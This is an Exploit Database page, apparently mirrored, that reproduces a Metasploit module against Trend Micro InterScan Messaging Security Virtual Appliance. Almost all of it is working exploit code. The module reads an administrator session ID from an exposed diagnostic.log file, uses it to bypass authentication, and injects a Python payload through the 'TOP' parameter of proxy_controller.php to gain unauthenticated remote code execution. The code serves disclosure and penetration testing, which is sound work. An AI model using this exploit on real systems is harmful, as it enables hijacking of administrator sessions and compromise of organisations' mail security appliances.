Trend Micro InterScan Messaging Security (Virtual Appliance) – ‘Proxy.php’ Remote Code Execution (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Mehmet Ince
  日期： 2017-10-11
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/42972/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info={})
  super(update_info(info,
  'Name' => "Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution",
  'Description'=> %q{
  This module exploits the authentication bypass and command injection vulnerability together. Unauthenticated users can execute a
  terminal command under the context of the web server user.
  
  The specific flaw exists within the management interface, which listens on TCP port 443 by default. Trend Micro IMSVA product
  have widget feature which is implemented with PHP. Insecurely configured web server exposes diagnostic.log file, which
  leads to an extraction of JSESSIONID value from administrator session. Proxy.php files under the mod TMCSS folder takes multiple parameter but the process
  does not properly validate a user-supplied string before using it to execute a system call. Due to combination of these vulnerabilities,
  unauthenticated users can execute a terminal command under the context of the web server user.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'mr_me <mr_me@offensive-security.com>', # author of command injection
  'Mehmet Ince <mehmet@mehmetince.net>' # author of authentication bypass & msf module
  ],
  'References' =>
  [
  ['URL', 'https://pentest.blog/one-ring-to-rule-them-all-same-rce-on-multiple-trend-micro-products/'],
  ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-17-521/'],
  ],
  'DefaultOptions'=>
  {
  'SSL' => true,
  'RPORT' => 8445
  },
  'Payload'=>
  {
  'Compat'=>
  {
  'ConnectionType' => '-bind'
  },
  },
  'Platform' => ['python'],
  'Arch' => ARCH_PYTHON,
  'Targets'=> [[ 'Automatic', {}]],
  'Privileged' => false,
  'DisclosureDate' => "Oct 7 2017",
  'DefaultTarget'=> 0
  ))
  
  register_options(
  [
  OptString.new('TARGETURI', [true, 'The URI of the Trend Micro IMSVA management interface', '/'])
  ]
  )
  end
  
  def extract_jsessionid
  res = send_request_cgi({
  'method' => 'GET',
  'uri' => normalize_uri(target_uri.path, 'widget', 'repository', 'log', 'diagnostic.log')
  })
  if res && res.code == 200 && res.body.include?('JSEEEIONID')
  res.body.scan(/JSEEEIONID:([A-F0-9]{32})/).flatten.last
  else
  nil
  end
  end
  
  def widget_auth(jsessionid)
  res = send_request_cgi({
  'method' => 'GET',
  'uri' => normalize_uri(target_uri.path, 'widget', 'index.php'),
  'cookie' => "CurrentLocale=en-U=en_US; JSESSIONID=#{jsessionid}"
  })
  if res && res.code == 200 && res.body.include?('USER_GENERATED_WIDGET_DIR')
  res.get_cookies
  else
  nil
  end
  end
  
  def check
  # If we've managed to bypass authentication, that means target is most likely vulnerable.
  jsessionid = extract_jsessionid
  if jsessionid.nil?
  return Exploit::CheckCode::Safe
  end
  auth = widget_auth(jsessionid)
  if auth.nil?
  Exploit::CheckCode::Safe
  else
  Exploit::CheckCode::Appears
  end
  end
  
  def exploit
  print_status('Extracting JSESSIONID from publicly accessible log file')
  jsessionid = extract_jsessionid
  if jsessionid.nil?
  fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
  else
  print_good("Awesome. JSESSIONID value = #{jsessionid}")
  end
  
  print_status('Initiating session with widget framework')
  cookies = widget_auth(jsessionid)
  if cookies.nil?
  fail_with(Failure::NoAccess, "Latest JSESSIONID is expired. Wait for sysadmin to login IMSVA")
  else
  print_good('Session with widget framework successfully initiated.')
  end
  
  print_status('Trigerring command injection vulnerability')
  send_request_cgi({
  'method' => 'POST',
  'uri' => normalize_uri(target_uri.path, 'widget', 'proxy_controller.php'),
  'cookie' => "CurrentLocale=en-US; LogonUser=root; JSESSIONID=#{jsessionid}; #{cookies}",
  'vars_post' => {
  'module' => 'modTMCSS',
  'serverid' => '1',
  'TOP' => "$(python -c \"#{payload.encoded}\")"
  }
  })
  end
  end